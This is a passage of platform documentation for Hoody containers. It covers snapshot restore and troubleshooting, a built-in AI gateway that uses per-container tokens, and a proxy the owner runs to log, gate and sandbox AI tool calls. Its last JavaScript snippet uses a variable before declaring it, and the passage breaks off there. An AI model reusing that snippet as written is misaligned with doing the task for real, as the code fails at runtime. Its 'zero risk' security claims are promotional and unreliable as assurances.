# 3. Restart if needed
POST /api/v1/containers/{id}/start
```

**A quiet filesystem at snapshot time = a clean, consistent restore.**

### 5. Verify Snapshots Exist

```bash
# Before relying on restore, verify snapshot exists
curl "https://api.hoody.icu/api/v1/containers/{id}/snapshots" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  | grep "production-stable"
```

**Don't assume old snapshots still exist** (may have expired or been deleted).

---

## Integration Patterns

### With Container Copy

**Use snapshots as copy sources:**

```bash
# 1. Snapshot production
POST /api/v1/containers/{prod_id}/snapshots
{"alias": "prod-stable-2025-11-09"}

# 2. Copy to staging from this snapshot
POST /api/v1/containers/{prod_id}/copy
{
  "target_project_id": "{staging_project}",
  "name": "staging-env",
  "source_snapshot": "snap-20251109-143045"
}
```

**Staging gets exact production state from specific snapshot.**

### With Automated Deployment

```javascript
async function deployWithSafety(containerId, deployScript) {
  const token = process.env.HOODY_TOKEN;
  const headers = { 'Authorization': `Bearer ${token}`, 'Content-Type': 'application/json' };
  
  // 1. Pre-deploy snapshot
  const snapshot = await fetch(
    `https://api.hoody.icu/api/v1/containers/${containerId}/snapshots`,
    {
      method: 'POST',
      headers,
      body: JSON.stringify({
        alias: `pre-deploy-${Date.now()}`,
        expiry: 7
      })
    }
  ).then(r => r.json());
  
  try {
    // 2. Execute deployment
    await deployScript();
    
    // 3. Health check
    const health = await checkHealth(containerId);
    
    if (!health.ok) {
      throw new Error('Health check failed');
    }
    
    // 4. Success - create "deployed" snapshot
    await fetch(
      `https://api.hoody.icu/api/v1/containers/${containerId}/snapshots`,
      {
        method: 'POST',
        headers,
        body: JSON.stringify({
          alias: `deployed-${Date.now()}`,
          expiry: 30
        })
      }
    );
    
    return { success: true };
    
  } catch (error) {
    // 5. Failure - restore snapshot
    console.error('Deployment failed, rolling back...', error);
    
    await fetch(
      `https://api.hoody.icu/api/v1/containers/${containerId}/snapshots/${snapshot.data.snapshot.name}`,
      { method: 'PATCH', headers }
    );
    
    return { success: false, error, rolledBack: true };
  }
}
```

**Deployment safety net built-in.**

---

## Useful Questions

### How long does snapshot creation take?

Nearly instant (1-5 seconds for filesystem metadata) thanks to Copy-on-Write. Your container keeps running during the snapshot — only the on-disk state is captured.

### Can I snapshot a running container?

Yes! Snapshots work on any container state (running, stopped, paused). In every case the snapshot is filesystem-only — it captures the disk, not running processes or RAM. For the most consistent capture of in-memory data, flush or stop the workload first.

### What happens to snapshots when I delete the container?

**Snapshots are preserved.** Deleting a container does NOT delete its snapshots. You can still use them to create new containers via copy operation. Orphaned snapshots remain until you explicitly delete them.

### Can I restore a snapshot to a different container?

Not directly via restore operation. But you can copy a container from a specific snapshot to create a new container with that snapshot's state. Use `source_snapshot` parameter in copy operation.

### How many snapshots can I create?

No hard limit. Practical limit: storage quota and cost. Recommend: 5-10 recent snapshots + permanent milestones. Use expiry to automate cleanup.

### Do snapshots include proxy aliases and permissions?

No. Snapshots capture container filesystem state only. Proxy aliases and permissions are configured separately at the proxy level. After restoring, you may need to reconfigure aliases.

### Can I snapshot multiple containers simultaneously?

Yes. Snapshots are independent HTTP operations. Snapshot 100 containers in parallel to capture multi-container application state.

### What's the difference between snapshot and backup?

**Snapshot is instant state capture.** Backup is copying to external storage. Use snapshots for quick rollback (restore in seconds). Combine with [container copy](/foundation/containers/copy-sync/) to different servers for true disaster recovery.

### Can snapshots be encrypted?

Snapshots use container's underlying storage encryption (if configured). For additional security, encrypt sensitive data at application level before snapshotting.

---

## Troubleshooting

### Snapshot Creation Fails

**Problem:** Snapshot operation returns error

**Solutions:**

1. **Check storage usage:**
   ```bash
   GET /api/v1/containers/{id}
   # Verify container has available storage
   ```

2. **Check container status:**
   ```bash
   GET /api/v1/containers/{id}
   # status should be running or stopped, not failed/creating
   ```

3. **Verify permissions:**
   - Ensure you own the container
   - Check auth token is valid

### Snapshot Restore Hangs

**Problem:** Restore operation doesn't complete

**Typical restore time:** 5-15 seconds for most containers

**If longer:**

1. **Check snapshot size:**
   ```bash
   GET /api/v1/containers/{id}/snapshots
   # Large snapshots (>100 GB) take longer
   ```

2. **Wait longer** for large snapshots (up to 2-3 minutes)

3. **Check server status:**
   ```bash
   GET /api/v1/servers/{server_id}
   # Server status should be "active"
   ```

### Cannot Find Snapshot to Restore

**Problem:** Restore returns 404 Not Found

**Solutions:**

1. **Verify snapshot name (not alias):**
   ```bash
   # List snapshots to get exact name
   GET /api/v1/containers/{id}/snapshots
   
   # Use the "name" field (snap-20251109-143045)
   # NOT the "alias" field (production-stable)
   ```

2. **Check snapshot didn't expire:**
   ```bash
   GET /api/v1/containers/{id}/snapshots
   # Verify snapshot still in list
   # Check expires_at hasn't passed
   ```

### Snapshots Consuming Too Much Storage

**Problem:** Snapshot storage costs are high

**Solutions:**

1. **Delete old/unused snapshots:**
   ```bash
   # List snapshots sorted by age
   GET /api/v1/containers/{id}/snapshots
   
   # Delete snapshots never used for restore
   DELETE /api/v1/containers/{id}/snapshots/{old_snapshot_name}
   ```

2. **Set expiration on new snapshots:**
   ```bash
   POST /api/v1/containers/{id}/snapshots
   {"alias": "temp-backup", "expiry": 7}
   ```

3. **Trim the container filesystem before snapshotting** (clear caches, logs, build artifacts) to reduce snapshot size:
   ```bash
   # e.g. clean package caches / temp files inside the container, then:
   POST /api/v1/containers/{id}/snapshots
   ```

### Restored Container Different Than Expected

**Problem:** After restore, container state doesn't match memory

**Possible causes:**

1. **Restored wrong snapshot:**
   - Verify the snapshot name/alias passed to the restore operation
   - Re-list snapshots and confirm the intended one was targeted

2. **Snapshots are filesystem-only:**
   - Running processes and in-memory state are never included
   - Only the filesystem is restored
   - Container starts fresh from that filesystem

3. **Post-snapshot changes:**
   - Snapshot only captures THAT moment
   - Changes after snapshot aren't included
   - Verify snapshot created_at timestamp

---

## What's Next

**Master container state management:**

1. **[Copy & Sync →](./copy-sync/)** - Duplicate containers, sync changes
2. **[Images →](./images/)** - Choose base OS and software
3. **[Create, Edit, Delete →](./create-edit-delete/)** - Container fundamentals

**Use snapshots with:**
- **[Managing Containers →](./managing/)** - Snapshot before stop/restart operations
- **[Network Configuration →](/foundation/networking/network/)** - Snapshot before network changes
- **[Firewall →](/foundation/networking/firewall/)** - Snapshot before firewall modifications

**Understanding gained:**
- ✅ Snapshots capture the container's filesystem (stateless, no RAM/process state)
- ✅ Restore reverts the disk to any previous moment, then starts fresh
- ✅ Expiration enables automatic cleanup
- ✅ Snapshots survive container deletion
- ✅ Can copy containers from snapshots
- ✅ Incremental storage optimization

---

> **Snapshot before AI changes.**  
> **Snapshot before deployments.**  
> **Snapshot before experiments.**  
> **Instant rollback. Always safe. Time travel for computers.**

---

# Firewall

**Page:** foundation/firewall

[Download Raw Markdown](./foundation/firewall.md)

---

# Firewall

This page has moved to the Networking section:

- **[Firewall](/foundation/networking/firewall/)** - Container-level firewall rules and network security

---

# Hoody AI

**Page:** foundation/hoody-ai/index

[Download Raw Markdown](./foundation/hoody-ai/index.md)

---

# Hoody AI

**Access 300+ AI models from your containers.** Hoody AI is a self-hosted gateway running on YOUR server that gives containers simple HTTP access to Claude, GPT, Gemini, Llama, and hundreds of other models.

**The simplicity:** Use `container-X` to authenticate from any container. Fully **OpenAI-compatible** API—works with any library or tool that supports OpenAI's format (OpenAI SDK, LangChain, hoody-agent, Claude Code, Cline, Cursor, etc.). Zero configuration needed.

**The security:** No real API keys in containers—just `container-X` tokens that only work from your infrastructure. Safe freelancer onboarding, vibe coding, and AI-generated code without key exposure risk.

**Transparent pricing:** Hoody AI adds a 5% markup on model provider costs. See [Models & Pricing](/foundation/hoody-ai/models/) for current model pricing and cost optimization strategies.

---

## What It Is

Hoody AI is an **AI gateway that runs on the HOST** (your bare metal server), not inside containers.

**Architecture:**
```
Your Server
├── Hoody AI Gateway (Host Only)
│   ├── URL: https://ai.hoody.icu/api/v1
│   ├── Credits: Your Hoody AI credits
│   └── Accessible: Only from containers on this server
│
└── Container 1, 2, 3...
    └── Auth: "container-1" (proves container identity)
```

**Privacy by architecture:** Hoody AI runs on YOUR server (the host). Traffic flows from your containers through the Hoody AI gateway running on your own server, then out to AI providers (OpenAI, Anthropic, Google, Meta, etc.) with a 5% markup. No Hoody-operated platform servers sit between your gateway and the inference providers — only your host and the provider. For complete control, you can [proxy to your own AI providers](/foundation/hoody-ai/mitm/) via hoody-exec.

---

## How It Works

### 1. Container Gets Magic API Key

When you create a container, it automatically gets access to Hoody AI via a container identity token:

```
API Key: container-{containerName}
```

**Example:** Container named `dev-env` → identity token is `container-dev-env`. Containers created without a custom name are addressable by their numbered form (`container-1`, `container-2`, …); both the name-derived and numbered forms are accepted — they identify the same container, not an API key you can copy.

### 2. Works with Everything

Hoody AI is **fully OpenAI-compatible**, so it works with:
- **Any OpenAI SDK** (Python, Node.js, Go, etc.)
- **AI frameworks** (LangChain, LlamaIndex, etc.)
- **AI coding tools** (Cursor, Windsurf, Claude Code, Cline, Continue.dev)
- **hoody-agent** - Native integration for container orchestration


  
    ```bash
    # hoody-agent uses Hoody AI automatically
    # Just set base URL and key in config
    curl -X POST "https://{projectId}-{containerId}-workspaces-1.{node}.containers.hoody.icu/api/tasks" \
      -d '{
        "prompt": "Build a todo app",
        "ai_config": {
          "base_url": "https://ai.hoody.icu/api/v1",
          "api_key": "container-dev-env",
          "model": "anthropic/claude-sonnet-4.5"
        }
      }'
    ```
  
  
    
  
  
    **Settings:**
    - Base URL: `https://ai.hoody.icu/api/v1`
    - API Key: `container-{containerName}`
    - Provider: Custom (OpenAI-compatible)
    
    Works immediately. No key rotation needed.
  
  
    **AI Settings:**
    - Custom endpoint: `https://ai.hoody.icu/api/v1`
    - API Key: `container-{containerName}`
    
    All AI features work without exposing real keys.
  


### 3. Make an AI Request

Once your container is running, call Hoody AI directly:


  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // List available AI models
    const models = await client.api.ai.listModels();
    console.log(models.data.models);

    // For chat completions, call the AI gateway directly from your container:
    const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
      method: 'POST',
      headers: {
        'Authorization': 'Bearer container-dev-env',
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        model: 'anthropic/claude-sonnet-4.5',
        messages: [{ role: 'user', content: 'Hello!' }]
      })
    });
    const data = await response.json();
    console.log(data.choices[0].message.content);
    ```
  
  
    ```bash
    # List available AI models (from the gateway)
    curl "https://ai.hoody.icu/api/v1/models" \
      -H "Authorization: Bearer container-dev-env"

    # Chat completion
    curl -X POST "https://ai.hoody.icu/api/v1/chat/completions" \
      -H "Authorization: Bearer container-dev-env" \
      -H "Content-Type: application/json" \
      -d '{
        "model": "anthropic/claude-sonnet-4.5",
        "messages": [{"role": "user", "content": "Hello!"}]
      }'
    ```
  


### 4. Automatic Container Access

AI access is **enabled by default** for all containers. Each container can immediately start making AI requests using its `container-X` authentication token.

---

## Why Hoody AI

### Universal Model Access

**300+ models from 15+ AI inference providers through one API.** Your server communicates directly with these providers through Hoody AI's gateway (with our 5% markup):

**Major Inference Providers:**
- **Anthropic** - Claude Opus 4.1, Sonnet 4.5, Haiku 4.0
- **OpenAI** - GPT-4o, GPT-4 Turbo, GPT-3.5
- **Google (Vertex AI)** - Gemini 2.5 Pro Exp, Gemini 1.5 Pro, Gemini Flash
- **Meta (via providers)** - Llama 3.3 70B, Llama 3.1 405B, Llama 3.1 70B
- **Mistral AI** - Mistral Large, Mistral Medium, Mixtral 8x7B
- **Deepseek** - Deepseek V3, Deepseek Coder V2
- **Qwen (Alibaba)** - Qwen 2.5 72B, QwQ 32B Preview
- **Cohere** - Command R+, Command R, Embed models
- **xAI** - Grok 2, Grok 2 Vision
- **Perplexity AI** - Sonar Pro, Sonar models
- **Together AI** - Hosting platform for open models
- **Fireworks AI** - Optimized inference for open models
- **And more providers...**

**Browse the complete model list:** See [Models & Pricing](/foundation/hoody-ai/models/) for all available models, current pricing, and provider-specific capabilities.

**No provider management needed:** One API, hundreds of models. No separate accounts or SDKs.

### Bring Your Own Provider — 75+ Options, No Lock-In

You're never forced into Hoody AI's gateway. Connect any provider directly: set `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, or any provider's environment variable inside a container and call them straight from your code. Point hoody-agent, Cursor, or Cline at any OpenAI-compatible endpoint — local Ollama, Azure OpenAI, Together AI, an enterprise proxy — and the entire stack works without modification. Switch models mid-conversation by swapping the active profile. A/B test Claude versus GPT-4o across two containers simultaneously. Today Claude Sonnet, tomorrow your own fine-tuned Llama, next week whatever model wins the benchmarks. It's a config change, not a migration.

```bash
# Direct provider access — set in container environment
ANTHROPIC_API_KEY=sk-ant-...   # Anthropic direct
OPENAI_API_KEY=sk-...          # OpenAI direct
OPENAI_BASE_URL=http://localhost:11434/v1  # Local Ollama

# Or route through Hoody AI for key-less container auth
# API key: container-{containerName}  → works from this server only
```

### Container-Native Integration

Built specifically for container-based workflows:
- Each container gets automatic AI access
- Use `container-X` format for authentication
- Works immediately with hoody-agent, AI coding tools
- No environment variable management
- No credential rotation needed

### Security as a Benefit

Container-restricted authentication means:
- No real API keys stored in containers
- Access automatically tied to container lifecycle
- Safe freelancer/contractor onboarding
- Protection against key leakage in AI-generated code

---

## Intercept & Control AI

**The game-changer:** Because Hoody AI requests flow through HTTP, you can intercept and modify everything using [`hoody-exec`](/kit/exec/) as a MITM (Man-In-The-Middle) proxy.

**The simplicity:** Deploy a MITM script once, then **just change the URL in your AI client**.

```
Without MITM: https://ai.hoody.icu/api/v1
With MITM:    https://your-project-container-exec-1.node-us.containers.hoody.icu/api/v1

Switch on-demand. No code changes. Complete control.
```

**What you gain:**
- 🎛️ **Tool Call Tampering** - Intercept and modify AI tool calls (redirect file writes, block dangerous commands, modify paths)
- 👤 **Human-in-the-Loop** - Pause AI for approval on high-stakes operations (deployments, deletions, payments)
- 🤖 **Agent Cascades** - Trigger other agent instances via HTTP, building multi-agent systems
- 💰 **Cost Optimization** - Compress prompts, cache responses, route to cheaper models (40-70% savings)
- 🧠 **Context Injection** - Auto-enhance AI with your knowledge base, company policies, codebase docs
- 📊 **Complete Observability** - Log every prompt, response, and decision for debugging and compliance

**Quick example - Sandbox all AI file operations in 30 lines:**

```javascript
// /api/ai-proxy.js in hoody-exec
// @mode worker

const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
  method: 'POST',
  headers: {
    'Authorization': 'Bearer container-1',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify(req.body)
});

const data = await response.json();

// Intercept and redirect file operations to sandbox
if (data.choices[0].message.tool_calls) {
  data.choices[0].message.tool_calls.forEach(call => {
    if (call.function.name === 'write_file') {
      const args = JSON.parse(call.function.arguments);
      args.path = '/sandbox' + args.path;  // Force sandbox
      call.function.arguments = JSON.stringify(args);
    }
  });
}

return res.json(data);
```

**AI can code freely. All writes automatically sandboxed. Zero risk.**

**See the full guide:** [Intercept & Control AI →](/foundation/hoody-ai/mitm/) covers tool call interception, agent cascade orchestration, human-in-the-loop workflows, stalling patterns, context injection, cost optimization, and more.

---

## Use Cases

### 1. Safe Freelancer Onboarding
Give contractors container access with `container-X` API key. They can use AI tools (Cursor, Windsurf, Claude Code) without ever seeing your real keys. Delete container when project ends—instant revocation.

### 2. Consumer SaaS with AI
Build applications that use AI without embedding real API keys. Users can't extract keys even with full source access. Keys only work from your infrastructure.

### 3. Vibe-Coded Apps
Let AI generate entire applications. Even if generated code tries to log/exfiltrate API keys, `container-X` is useless outside your server.

### 4. Multi-Tenant AI Access
Each client gets their own container with isolated AI access. Enable/disable per client. Track usage per container.

### 5. Development Environments
Developers use AI coding assistants (Cursor, Cline) with `container-dev` key. Production uses `container-prod`. No key sharing between environments.

---

## Best Practices

### Container Naming Strategy
Use descriptive container names—they become part of the API key:
- `container-prod-frontend` (clear purpose)
- `container-dev-alice` (per-developer)
- `container-client-acme` (per-client)

### Use Specific Models
Specify exact models in AI requests to control costs:
```json
{
  "model": "anthropic/claude-haiku-4.0"
}
```
Use cheaper models (Haiku) for simple tasks, more capable models (Opus) for complex ones.

### Monitor Container AI Usage
Monitor which containers have AI access enabled:


  
    ```bash
    # List all containers and their AI status
    hoody containers list -o json | jq '.[] | {id, name, ai, status}'
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    const containers = await client.api.containers.list();
    containers.data.containers.forEach(c => {
      console.log(c.name, c.ai, c.status);
    });
    ```
  
  
    ```bash
    # List all containers and their AI status
    curl "https://api.hoody.icu/api/v1/containers" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      | jq '.data.containers[] | {id, name, ai, status}'
    ```
  


### Snapshot Before AI-Heavy Operations
Create snapshot before letting AI generate large amounts of code. Restore if results are undesirable.

---

## Useful Questions

### Can I use my own API keys or other AI gateways?

**Absolutely.** Because it's YOUR infrastructure, you're completely free to use any AI provider or gateway you want:

- Set environment variables in your containers and use providers directly (OpenAI, Anthropic, etc.)
- Use other AI gateways, Together AI, or self-hosted models
- Proxy through [`hoody-exec`](/kit/exec/) to any external service (see MITM section above)
- Mix multiple providers with custom routing logic

**Trade-offs to consider:**
- Using raw API keys in containers exposes them to container processes (security risk if containers are compromised)
- Hoody AI's `container-X` authentication provides key isolation—keys only work from your infrastructure
- With custom proxies via hoody-exec, you control everything but manage your own security

**The freedom:** It's your bare metal server, your containers, your choice of AI provider. Hoody AI is convenient and secure, but not required.

### What happens if I copy the `container-X` key elsewhere?

It won't work. Keys are cryptographically bound to the specific container and your server. Copied keys fail authentication.

### Can containers access each other's AI requests?

No. Each container's AI authentication is isolated. Container A cannot see or intercept Container B's AI traffic.

### Does this work with local models (Ollama, LM Studio)?

Hoody AI is for cloud providers. For local models, run them directly in containers and access via localhost.

### What models are supported?

See [Models](/foundation/hoody-ai/models/) for the complete list. Hoody AI supports 300+ models from providers including Anthropic, OpenAI, Google, Meta, Mistral, and more.


---

## Troubleshooting

### "Unauthorized" Error

**Problem:** AI requests return 401 Unauthorized

**Solutions:**
- Check API key format: `container-{containerName}` (exact match)
- Confirm request is coming from the correct container
- Ensure container is running (stopped containers can't access AI)
- Verify Hoody AI service is running on your server

### "Model Not Found"

**Problem:** Requested model doesn't exist

**Solution:** Model IDs pass through from Hoody AI's upstream catalog, so the live list is authoritative. Pull it from your gateway and use the exact ID returned:
```bash
curl -s https://ai.hoody.icu/api/v1/models -H "Authorization: Bearer container-$NAME" | jq -r '.data[].id'
```
```json
{"model": "anthropic/claude-sonnet-4.5"}  // ✅ exact ID returned by /models
{"model": "claude-sonnet"}                 // ❌ short names are not valid IDs
```

### Rate Limit Exceeded

**Problem:** Too many requests from container

**Solutions:**
- Implement request throttling in application code
- Check your Hoody AI credits balance
- Distribute workload across multiple containers
- Use more efficient models (e.g., Haiku instead of Opus)

### Connection Timeout

**Problem:** AI requests timing out

**Solutions:**
- Verify container has network access (firewall rules)
- Check if Hoody AI service is running on host
- Ensure container isn't being rate-limited at network level
- Try with simpler prompt to isolate issue

---

## What's Next

**Learn More:**
- [Usage Guide →](/foundation/hoody-ai/usage/) - Complete examples and integration patterns
- [Security Model →](/foundation/hoody-ai/security/) - How key-less operation protects you
- [Models & Pricing →](/foundation/hoody-ai/models/) - Browse available AI models and pricing
- [Intercept & Control →](/foundation/hoody-ai/mitm/) - MITM proxy patterns with hoody-exec

**Use AI in Apps:**
- [hoody-exec →](/kit/exec/) - Turn scripts into AI-powered APIs
- [Claude Code/Cline Setup →](/foundation/hoody-ai/usage/#ai-coding-assistants) - Use AI IDEs securely

**Related Concepts:**
- [The HTTP Revolution →](/vision/http-revolution/) - Why HTTP enables AI superpowers
- [Security Principles →](/vision/security/) - How Hoody AI fits into overall security
- [Container Management →](/api/containers/) - Managing container AI permissions

---

# Intercept & Control AI Requests

**Page:** foundation/hoody-ai/mitm

[Download Raw Markdown](./foundation/hoody-ai/mitm.md)

---

# Intercept & Control AI Requests

**The game-changer:** Because Hoody AI requests flow through HTTP, you can intercept and modify **everything** using [`hoody-exec`](/kit/exec/) as a MITM (Man-In-The-Middle) proxy.

This isn't about surveillance. It's about **complete control**. When everything is HTTP (as explained in [The HTTP Revolution](/vision/http-revolution/)), everything becomes observable, modifiable, and composable. AI requests are no different.

**The breakthrough:** Intercept, analyze, transform, cache, route, or enhance every AI interaction—all in just a few lines of JavaScript.

**The simplicity:** Deploy a MITM script once (see [Deploying the MITM Script](#deploying-the-mitm-script) below), then **just change the URL in your AI client** — the `base_url` swap shown in the next section is the on-demand toggle, not the whole setup.

```
Without MITM: https://ai.hoody.icu/api/v1
With MITM:    https://your-project-container-exec-1.node-us.containers.hoody.icu/api/v1

Switch on-demand. No code changes. Complete control.
```


**Cost Reduction:** MITM can cut AI costs 40-70% by removing duplicate file content from agent history, compressing prompts, caching responses, or routing to cheaper models.


---

## How to Enable MITM (On-Demand)

**The beauty:** You don't need to change your code. Just **change the URL in your AI client settings**.


  
    ```bash
    # Normal Hoody AI
    curl -X POST "https://{projectId}-{containerId}-workspaces-1.{node}.containers.hoody.icu/api/tasks" \
      -d '{
        "prompt": "Build an app",
        "ai_config": {
          "base_url": "https://ai.hoody.icu/api/v1",
          "api_key": "container-1",
          "model": "anthropic/claude-sonnet-4.5"
        }
      }'
    
    # With MITM enabled
    curl -X POST "https://{projectId}-{containerId}-workspaces-1.{node}.containers.hoody.icu/api/tasks" \
      -d '{
        "prompt": "Build an app",
        "ai_config": {
          "base_url": "https://your-project-container-exec-1.node-us.containers.hoody.icu/api/v1",
          "api_key": "container-1",
          "model": "anthropic/claude-sonnet-4.5"
        }
      }'
    ```
    
    Just change the `base_url`. Everything else stays the same.
  
  
    **Normal Hoody AI:**
    - Base URL: `https://ai.hoody.icu/api/v1`
    - API Key: `container-{containerName}`
    
    **With MITM enabled:**
    - Base URL: `https://your-project-container-exec-1.node-us.containers.hoody.icu/api/v1`
    - API Key: `container-{containerName}` (same)
    
    Switch between these two URLs to enable/disable MITM features.
  
  
    **Normal Hoody AI:**
    - Base URL: `https://ai.hoody.icu/api/v1`
    - API Key: `container-{containerName}`
    - Provider: Custom (OpenAI-compatible)
    
    **With MITM enabled:**
    - Base URL: `https://your-project-container-exec-1.node-us.containers.hoody.icu/api/v1`
    - API Key: `container-{containerName}` (same)
    - Provider: Custom (OpenAI-compatible)
    
    Toggle URL to switch modes instantly.
  
  
    ```javascript
    // Normal Hoody AI
    const AI_URL = 'https://ai.hoody.icu/api/v1';
    
    // With MITM enabled
    const AI_URL = 'https://your-project-container-exec-1.node-us.containers.hoody.icu/api/v1';
    
    // Rest of your code unchanged
    const response = await fetch(`${AI_URL}/chat/completions`, {
      method: 'POST',
      headers: {
        'Authorization': 'Bearer container-1',
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({ model, messages })
    });
    ```
    
    Use environment variable to switch modes without code changes.
  


**On-demand activation:** Want to test with MITM? Change the URL. Want to bypass MITM? Change back. No deployments. No config files. Just URL switching.

---

## Why MITM AI Makes Sense

### The HTTP Advantage

Traditional AI integrations are black boxes. You send a prompt, get a response. Everything in between is hidden.

**With Hoody's HTTP architecture:**
- Every AI request is a visible HTTP call
- Every response flows through your infrastructure
- Every tool call is JSON you can inspect and modify
- Every agent decision is an HTTP endpoint you can intercept

**This means:** You can insert yourself (or your code) anywhere in the AI pipeline. Add logging. Request human approval. Transform prompts. Cache responses. Route to different models. Chain agents together. Replace tool calls. Inject context.

All through simple HTTP interception.

### Key Capabilities

**Complete AI Observability:**
- Log every prompt and response for debugging
- Track token usage per project automatically
- Analyze AI decision patterns
- Monitor for prompt injection attempts
- Build audit trails for compliance

**Human-in-the-Loop at Scale:**
- Intercept high-stakes decisions for human approval
- Pause AI execution for review before deployment
- Add confirmation steps for sensitive operations
- Let AI draft, humans decide

**Cost Optimization:**
- Compress prompts to reduce token usage (20-40% savings)
- Cache responses to eliminate duplicate calls (100% on cache hits)
- Route to cheaper models for simple tasks (40-70% savings)
- Auto-optimize based on complexity analysis

**AI Enhancement:**
- Add context from your knowledge base automatically
- Inject custom instructions per use case
- Transform responses to match your style
- Chain multiple AI calls intelligently

**Tool Call Manipulation:**
- Intercept and modify AI tool calls before execution
- Add safety checks to file operations
- Reroute dangerous commands to sandbox
- Replace file paths, command arguments, or entire operations
- Log all tool usage for audit trails

**Agent Orchestration:**
- Cascade AI requests across multiple agent instances
- Coordinate multi-agent workflows via HTTP
- Distribute tasks across agent swarms
- Build self-improving agent networks

---

## The MITM Script Template

Here's the basic pattern for creating an AI MITM proxy with [`hoody-exec`](/kit/exec/):

```javascript
// File: scripts/default/1/api/v1/[...path].js
// This catch-all route handles /api/v1/* (matching OpenAI API structure)
// @mode worker
// @log-level standard

// Handle all /api/v1/* endpoints (chat/completions, embeddings, images, etc.)
const apiPath = metadata.parameters.path.join('/');  // e.g., "chat/completions"

const response = await fetch(`https://ai.hoody.icu/api/v1/${apiPath}`, {
  method: req.method,
  headers: {
    'Authorization': 'Bearer container-1',
    'Content-Type': 'application/json'
  },
  body: req.method === 'POST' ? JSON.stringify(req.body) : undefined
});

const data = await response.json();

// YOUR CUSTOM LOGIC HERE
// - Modify prompts
// - Add context
// - Check cache
// - Log for audit
// - Request human approval
// - Optimize model selection
// - Intercept tool calls
// - Trigger other agents

return res.json(data);
```

### File Structure for MITM Proxy

**Option 1: Catch-All Route** (Recommended - handles all AI endpoints)
```
/hoody/storage/hoody-exec/scripts/default/1/api/v1/[...path].js
```
This handles:
- `POST /api/v1/chat/completions`
- `POST /api/v1/embeddings`
- `GET /api/v1/models`
- Any other OpenAI-compatible endpoint

**Option 2: Specific Endpoint** (For targeted control)
```
/hoody/storage/hoody-exec/scripts/default/1/api/v1/chat/completions.js
```
This only handles `POST /api/v1/chat/completions`

**Accessing your MITM proxy:**
```
https://your-project-container-exec-1.node-us.containers.hoody.icu/api/v1/chat/completions
```

**How to use:**
1. Deploy the script (see deployment section below)
2. Change base URL in your AI client:
   - **Normal:** `https://ai.hoody.icu/api/v1`
   - **With MITM:** `https://your-project-container-exec-1.node-us.containers.hoody.icu/api/v1`
3. That's it. All requests now flow through your MITM proxy.

**Switch on-demand:** Toggle between URLs to enable/disable MITM. No code changes needed.

## Deploying the MITM Script

**Prerequisite — container identity token.** The examples below use `Bearer container-1`. Hoody-minted containers are reachable under both a name-derived form (`container-<name>`) and a numbered form (`container-`). Replace `container-1` with the identifier that matches the container running the script; both forms are equivalent identity tokens, not copyable API keys.

### Quick Deploy via hoody-files API

Create your MITM proxy script using the hoody-files API:

```bash
# Deploy the catch-all MITM proxy (handles all /api/v1/* endpoints)
curl -X POST "https://your-project-container-files-1.node-us.containers.hoody.icu/hoody/storage/hoody-exec/scripts/default/1/api/v1/%5B...path%5D.js" \
  -H "Content-Type: text/plain" \
  --data-binary @- << 'EOF'
// File: scripts/default/1/api/v1/[...path].js
// Catch-all MITM proxy for all OpenAI-compatible endpoints
// @mode worker
// @log-level standard

// Handle all /api/v1/* endpoints
const apiPath = metadata.parameters.path.join('/');

const response = await fetch(`https://ai.hoody.icu/api/v1/${apiPath}`, {
  method: req.method,
  headers: {
    'Authorization': 'Bearer container-1',
    'Content-Type': 'application/json'
  },
  body: req.method === 'POST' ? JSON.stringify(req.body) : undefined
});

const data = await response.json();

// YOUR MITM LOGIC HERE
// Example: Log all requests
console.log(`AI Request: ${req.method} /api/v1/${apiPath}`);
console.log(`Model: ${req.body?.model || 'N/A'}`);
console.log(`Tokens: ${data.usage?.total_tokens || 'N/A'}`);

return res.json(data);
EOF
```

**That's it.** Your MITM proxy is now live at:
```
https://your-project-container-exec-1.node-us.containers.hoody.icu/api/v1/chat/completions
```

### Alternative: Deploy via hoody-exec API

```bash
# Create the script using hoody-exec's script management API
curl -X POST "https://your-project-container-exec-1.node-us.containers.hoody.icu/api/v1/exec/scripts/write" \
  -H "Content-Type: application/json" \
  -d @- << 'EOF'
{
  "path": "default/1/api/v1/[...path].js",
  "content": "// @mode worker\n// @log-level standard\n\nconst apiPath = metadata.parameters.path.join('/');\n\nconst response = await fetch(`https://ai.hoody.icu/api/v1/${apiPath}`, {\n  method: req.method,\n  headers: {\n    'Authorization': 'Bearer container-1',\n    'Content-Type': 'application/json'\n  },\n  body: req.method === 'POST' ? JSON.stringify(req.body) : undefined\n});\n\nconst data = await response.json();\nconsole.log(`AI Request: ${req.method} /api/v1/${apiPath}`);\n\nreturn res.json(data);"
}
EOF
```

### Verify Deployment

```bash
# Test your MITM proxy
curl -X POST "https://your-project-container-exec-1.node-us.containers.hoody.icu/api/v1/chat/completions" \
  -H "Authorization: Bearer container-1" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "anthropic/claude-haiku-4.0",
    "messages": [{"role": "user", "content": "Hello!"}]
  }'
```

If you see the response and logs, your MITM is working!

---

---

## Real-World Use Cases

### 1. Human-in-the-Loop Gating

Stop AI from executing high-stakes operations without human approval:

```javascript
// @mode worker
// @log-level standard

const lastMessage = req.body.messages[req.body.messages.length - 1].content;

// Detect high-stakes operations
const isHighStakes = /deploy|delete|drop|production|payment|transfer/.test(
  lastMessage.toLowerCase()
);

if (isHighStakes) {
  // Send notification to human via hoody-notifications
  await fetch('https://your-project-container-n-1.node-us.containers.hoody.icu/api/notify', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      title: '🚨 AI Needs Approval',
      message: `High-stakes operation detected:\n${lastMessage}`,
      priority: 'urgent',
      actions: [
        { label: 'Approve', url: `/api/approve/${requestId}` },
        { label: 'Reject', url: `/api/reject/${requestId}` }
      ]
    })
  });
  
  // Store request for approval workflow
  const requestId = crypto.randomUUID();
